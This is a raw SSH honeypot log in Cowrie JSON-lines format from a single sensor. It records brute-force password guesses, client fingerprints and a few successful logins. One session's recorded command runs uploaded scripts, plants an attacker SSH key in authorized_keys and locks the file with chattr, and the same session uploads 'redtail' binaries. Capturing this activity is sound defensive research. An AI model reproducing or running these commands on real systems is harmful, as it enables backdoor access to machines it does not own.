{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:41.619339Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02081994","message":"login attempt [user/02081994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:42.106404Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":34586,"dst_ip":"159.203.135.109","dst_port":22,"session":"08da84785eba","protocol":"ssh","message":"New connection: 103.59.94.61:34586 (159.203.135.109:22) [session: 08da84785eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:42.353512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:42.357904Z","src_ip":"103.59.94.61","session":"08da84785eba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:42.611980Z","src_ip":"103.59.94.61","session":"08da84785eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02041993","message":"login attempt [user/02041993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:43.211252Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nicola","password":"12345678","message":"login attempt [nicola/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:43.661447Z","src_ip":"103.59.94.61","session":"08da84785eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02021994","message":"login attempt [user/02021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:44.316073Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:44.917866Z","src_ip":"103.59.94.61","session":"08da84785eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"02021970","message":"login attempt [user/02021970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:45.421363Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01121982","message":"login attempt [user/01121982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:46.526512Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:39:47.632531Z","src_ip":"2.57.121.25","session":"538357a35062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":45292,"dst_ip":"159.203.135.109","dst_port":22,"session":"76af99aa042f","protocol":"ssh","message":"New connection: 159.65.30.211:45292 (159.203.135.109:22) [session: 76af99aa042f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:11.918970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:12.245470Z","src_ip":"159.65.30.211","session":"76af99aa042f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:12.249386Z","src_ip":"159.65.30.211","session":"76af99aa042f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stage","password":"stage123","message":"login attempt [stage/stage123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:13.273649Z","src_ip":"159.65.30.211","session":"76af99aa042f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:14.347401Z","src_ip":"159.65.30.211","session":"76af99aa042f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.252.231.122","src_port":58984,"dst_ip":"159.203.135.109","dst_port":22,"session":"bce06b8c2750","protocol":"ssh","message":"New connection: 43.252.231.122:58984 (159.203.135.109:22) [session: bce06b8c2750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:20.472979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:20.478021Z","src_ip":"43.252.231.122","session":"bce06b8c2750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:20.678174Z","src_ip":"43.252.231.122","session":"bce06b8c2750","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:21.111235Z","src_ip":"43.252.231.122","session":"bce06b8c2750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:21.321884Z","src_ip":"43.252.231.122","session":"bce06b8c2750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":47222,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da5bf6c83f1","protocol":"ssh","message":"New connection: 130.12.180.51:47222 (159.203.135.109:22) [session: 8da5bf6c83f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:21.445702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:21.450118Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:21.532066Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:21.779209Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.070107Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","message":"CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.073407Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","size":83,"shasum":"4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.159768Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"clean.sh","outfile":"var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","shasum":"d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","message":"SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.244541Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm7","outfile":"var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","shasum":"3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","message":"SFTP Uploaded file \"redtail.arm7\" to var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.253337Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm8","outfile":"var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","shasum":"dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","message":"SFTP Uploaded file \"redtail.arm8\" to var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.263167Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.i686","outfile":"var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","shasum":"048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","message":"SFTP Uploaded file \"redtail.i686\" to var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.274560Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.x86_64","outfile":"var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","shasum":"59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","message":"SFTP Uploaded file \"redtail.x86_64\" to var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.286530Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"setup.sh","outfile":"var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","shasum":"783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","message":"SFTP Uploaded file \"setup.sh\" to var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.291950Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:39.379261Z","src_ip":"130.12.180.51","session":"8da5bf6c83f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":35024,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce52f39a1f42","protocol":"ssh","message":"New connection: 20.244.18.126:35024 (159.203.135.109:22) [session: ce52f39a1f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:41.353486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:41.357298Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:41.563883Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Huawei@123#","message":"login attempt [root/Huawei@123#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:42.421411Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:42.879661Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
